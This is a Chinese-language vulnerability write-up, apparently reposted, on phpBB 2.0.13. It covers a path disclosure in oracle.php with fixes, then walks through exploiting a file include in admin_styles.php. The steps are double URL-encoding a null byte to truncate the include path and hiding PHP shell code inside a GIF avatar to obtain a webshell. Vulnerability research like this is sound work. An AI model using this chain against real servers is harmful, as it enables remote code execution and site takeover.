phpBB 2.0.13驚現漏洞的解決_漏洞研究

來源:互聯網
上載者:User
一、Path Disclosure 
漏洞檔案:/db/oracle.php
漏洞描敘:直接存取oracle.php,導致暴露web路徑
涉及版本:phpbb <=2.013
測試:ie提交http://127.0.0.1/phpBB2/db/oracle.php 返回錯誤:
Fatal error: Cannot redeclare sql_nextid() in f:\easyphp1-7\www\phpbb2\db\oracle.php on line 405

解決辦法
如果你不是採用的oracle資料庫,可以直接把oracle.php刪除 
修改php.ini設定: display_errors = Off 
二、Remote php File Include
漏洞檔案:/admin/admin_styles.php
漏洞描敘:admin_styles.php檔案裡變數過濾不嚴,導致從後台執行惡意代碼,從而危險伺服器安全
涉及版本:phpbb <=2.013+ php <5.0
漏洞分析:
71 case "addnew":
72 $install_to = ( isset($HTTP_GET_VARS[’install_to’]) ) ? urldecode($HTTP_GET_VARS[’install_to’]) : $HTTP_POST_VARS[’install_to’];
73 $style_name = ( isset($HTTP_GET_VARS[’style’]) ) ? urldecode($HTTP_GET_VARS[’style’]) : $HTTP_POST_VARS[’style’];
74 
75 if( isset($install_to) )
76 { 
77
78 include($phpbb_root_path. "templates/" . $install_to . "/theme_info.cfg");
79
80 $template_name = $install_to;
81 $found = FALSE;

$install_to變數過濾不嚴,導致被include($phpbb_root_path. "templates/" . $install_to . "/theme_info.cfg");調用,入侵者可以通過構造 $install_to達到攻擊
目的
測試分析(目的:從後台得到webshelll):
首先我們只看78行代碼
78 include($phpbb_root_path. "templates/" . $install_to . "/theme_info.cfg");

include最終於是執行了theme_info.cfg檔案,theme_info.cfg是儲存“風格”的一些設定 如果我們可以在從在theme_info.cfg檔案插入惡意代碼,那麼就直接通過include執行了我們的代碼 :) [思路參考《從後台到webshell的一點思路》]我們來測試下:
後颱風格管理-->管理選項--->編輯-->CSS 風格表 輸入";phpinfo();" (也可以是其他變數插入),然後“輸出”設定成功儲存到theme_info.cfg檔案
我們在開啟theme_info.cfg看看:
$subSilver[0][’head_stylesheet’] = "subSilver.css\";phpinfo();\"";

鬱悶"被過濾了,我是在 magic_quotes_gpc = off 下測試的 看來phpbb本身對做了過濾 ,此路不通 :(
在對於<5.0(不包括4.10)的php本身存在對null截斷的漏洞:
------------------------------- 漏洞具體描敘 start -------------------------------
PHP存在輸入驗證漏洞,遠程攻擊者可以利用這個漏洞讀取系統檔案內容及進行目錄遍曆攻擊。
問題一是addslashes()存在問題,addslashes()用於過濾使用者輸入,在magic_quotes_gpc設定"on"時,將對每個輸入執行addslashes()進行過濾,但是由於NULL位元組不正確被addslashes()編碼,如果使用者輸入被include()或require()使用,可能導致攻擊者讀取檔案系統的任意檔案。
問題二是上傳路徑遍曆問題,PHP自動過濾上傳的檔案名稱資料,刪除在斜杠或反斜線之前的資料,但是如果攻擊者上傳的檔案包含單引號,而WEB服務又設定magic_quotes為ON,或者對上傳檔案名稱執行addslashes()操作,那麼在單引號前會首碼一個反斜線,因此在Windows系統可造成目錄遍曆問題,導致檔案上傳到系統任意目錄中。
Warning: main(./../templates/theme_info.cfg\0/theme_info.cfg): failed to open stream: No such file or directory in f:\easyphp1-7\www\phpbb2\admin\admin_styles.php on line 78
Warning: main(): Failed opening ’./../templates/theme_info.cfg\0/theme_info.cfg’ for inclusion (include_path=’.;f:\EasyPHP1-7\php\pear\’) in f:\easyphp1-7\www\phpbb2\admin\admin_styles.php on line 7

%00變從了\0,phpbb就是變態,既然%00不行 我們在看到72行代碼:
72 $install_to = ( isset($HTTP_GET_VARS[’install_to’]) ) ? urldecode($HTTP_GET_VARS[’install_to’]) : $HTTP_POST_VARS[’install_to’];

我們使用ie提交的方式是get 那麼我們提交的&install_to,要被urldecode()解析,那麼我們可以先把%00進行url編碼一次:%25%30%30 提交:
http://127.0.0.1/phpBB2/a......6eb9ea1e43e62cbd634

返回:
Warning: main(./../templates/theme_info.cfg): failed to open stream: No such file or directory in f:\easyphp1-7\www\phpbb2\admin\admin_styles.php on line 78
Warning: main(): Failed opening ’./../templates/theme_info.cfg’ for inclusion (include_path=’.;f:\EasyPHP1-7\php\pear\’) in f:\easyphp1-7\www\phpbb2\admin\admin_styles.php on line 7

注意和%00時比較
%00     ---> main(./../templates/theme_info.cfg\0/theme_info.cfg)
%25%30%30 ---> Warning: main(./../templates/theme_info.cfg)

哈哈 include成功被截斷,那麼我們可以利用../來調用容易檔案咯 :)
具體利用
我們把phpshell代碼儲存為gif或其他圖片格式,在通過論壇上傳 然後利用構造 install_to 而被 include() 調用並執行。
這裡phpshell代碼代碼使用 儲存為 1.gif 我們到 http://127.0.0.1/phpBB2/profile.php?mode=editprofile 上傳映像
返回錯誤:The avatar filetype must be .jpg, .gif or .png

如圖1
大家都曉得圖片檔案都有他的“特殊標誌” ,用uedit等編輯工具你就可以發現如 gif 檔案的開頭有“GIF89a” 看來phpbb在判斷尾碼後還用了 getimagesize() 或類似的函數判斷,那麼我們怎麼繞過去呢?注意gif的檔案尾部有個“0000...”的空資料區,我們就可以把php代碼寫到這個裡面。

如圖2

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.